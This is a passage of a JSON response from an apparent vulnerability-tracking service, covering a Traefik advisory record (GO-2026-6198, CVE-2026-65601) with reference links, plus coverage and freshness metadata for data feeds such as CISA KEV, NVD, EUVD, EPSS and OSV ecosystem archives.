v3.7.7.","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T15:00:24.2123848+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj","https://nvd.nist.gov/vuln/detail/CVE-2026-65601","https://github.com/traefik/traefik/commit/655d6324ab4a1475892a958d4bae389720a67ea9","https://github.com/traefik/traefik/pull/13462","https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6198","license":"OSV · upstream source license applies","key":"osv:GO-2026-6198","identifiers":["GO-2026-6198","CVE-2026-65601","GHSA-qq9q-x9w4-chhj"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T18:23:45.7727801+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T18:23:45.7727801+00:00","lastSuccessAt":"2026-11-10T18:23:45.9579119+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.9579152+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-d220ab899e0e1c49e43094274f562c18c4a19b03898aec3feae1debdd31f6756","complete":true,"records":422212,"lastAttemptAt":"2026-11-10T18:21:27.6685178+00:00","lastSuccessAt":"2026-11-10T18:21:27.4920545+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:21:27.6685178+00:00","snapshotPublishedAt":"2026-11-10T17:27:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-acbb624a79c244aa868394151a25f053","complete":true,"records":13704,"lastAttemptAt":"2026-11-10T18:24:12.0072206+00:00","lastSuccessAt":"2026-11-10T18:24:12.001+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:12.001+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T18:23:45.7727801+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T18:23:45.7727801+00:00","lastSuccessAt":"2026-11-10T18:23:45.9591411+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.9591459+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4459456b8f8c43778c308d7de0a43211","complete":true,"records":13710,"lastAttemptAt":"2026-11-10T18:24:11.1447617+00:00","lastSuccessAt":"2026-11-10T18:24:11.141+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:11.141+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-50a085e5b7a5d1546eabdb7e52fab85d658afa8554d3cf95a0891c49d83f2979","complete":true,"records":9935,"lastAttemptAt":"2026-11-10T18:23:45.7142755+00:00","lastSuccessAt":"2026-11-10T16:25:20.0114252+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.7142755+00:00","snapshotPublishedAt":"2026-11-10T16:18:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T18:21:27.7170016+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:21:27.7170016+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-df497239f2f75af38e095cb498791dad4044a8a9a7f5f0ee6008bb732579ab9d","complete":true,"records":3081,"lastAttemptAt":"2026-11-10T18:23:45.7340645+00:00","lastSuccessAt":"2026-11-10T14:21:34.3717399+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.7340645+00:00","snapshotPublishedAt":"2026-11-10T14:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-5bab1d7e68ac802e78d67f5b951f7bcace0c45048e98b39b73b18376172e4b36","complete":true,"records":231619,"lastAttemptAt":"2026-11-10T18:23:45.5819776+00:00","lastSuccessAt":"2026-11-10T18:23:44.1117746+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.5819776+00:00","snapshotPublishedAt":"2026-11-10T17:33:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}